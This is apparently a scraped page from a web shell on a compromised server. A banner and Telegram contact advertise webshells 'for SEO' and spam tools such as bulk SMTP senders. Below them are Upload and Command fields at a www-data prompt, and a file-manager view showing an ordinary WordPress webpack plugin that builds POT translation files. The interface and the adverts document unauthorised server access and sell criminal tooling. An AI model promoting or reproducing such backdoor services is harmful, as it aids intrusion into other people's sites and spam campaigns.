__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
/**
 * Webpack plugin to generate POT files with correct JavaScript source references
 *
 * This plugin:
 * 1. Adds @wordpress/babel-plugin-makepot to the babel-loader configuration
 * 2. Post-processes the generated POT file to replace TypeScript source paths with JS build paths
 */

/* eslint-disable @typescript-eslint/no-require-imports -- CommonJS required for webpack plugins */
const fs = require('fs');
const path = require('path');

class MakepotPlugin {
	constructor(options = {}) {
		this.options = {
			output: options.output || 'translations.pot',
			scriptPath: options.scriptPath || '',
			tempOutput: options.tempOutput || options.output + '.temp'
		};
	}

	apply(compiler) {
		// Add @wordpress/babel-plugin-makepot to babel-loader
		compiler.hooks.afterPlugins.tap('MakepotPlugin', () => {
			const rules = compiler.options.module.rules;

			for (const rule of rules) {
				if (rule.test && rule.test.toString().includes('tsx') && rule.use) {
					for (const use of rule.use) {
						if (use.loader === 'babel-loader') {
							use.options.plugins = use.options.plugins || [];
							use.options.plugins.push([
								'@wordpress/babel-plugin-makepot',
								{output: this.options.tempOutput},
								`makepot-${path.basename(this.options.output)}`
							]);
						}
					}
				}
			}
		});

		// Post-process POT file: replace TypeScript paths with JS build paths
		compiler.hooks.afterEmit.tapAsync('MakepotPlugin', (compilation, callback) => {
			if (!fs.existsSync(this.options.tempOutput)) {
				console.warn(`[MakepotPlugin] No POT file found at ${this.options.tempOutput}`);
				callback();
				return;
			}

			try {
				const potContent = fs
					.readFileSync(this.options.tempOutput, 'utf8')
					.replace(/#: src\/[^\s]+\.tsx?:(\d+)/g, `#: ${this.options.scriptPath}:$1`);

				fs.writeFileSync(this.options.output, potContent, 'utf8');
				fs.unlinkSync(this.options.tempOutput);

				console.warn(`[MakepotPlugin] Generated: ${this.options.output}`);
			} catch (error) {
				console.error(`[MakepotPlugin] Error:`, error);
			}

			callback();
		});
	}
}

module.exports = MakepotPlugin;

Filemanager

Name Type Size Permission Actions
build Folder 0755
MakepotPlugin.js File 2.08 KB 0644
MakepotPlugin.min.js File 3.57 KB 0644
Filemanager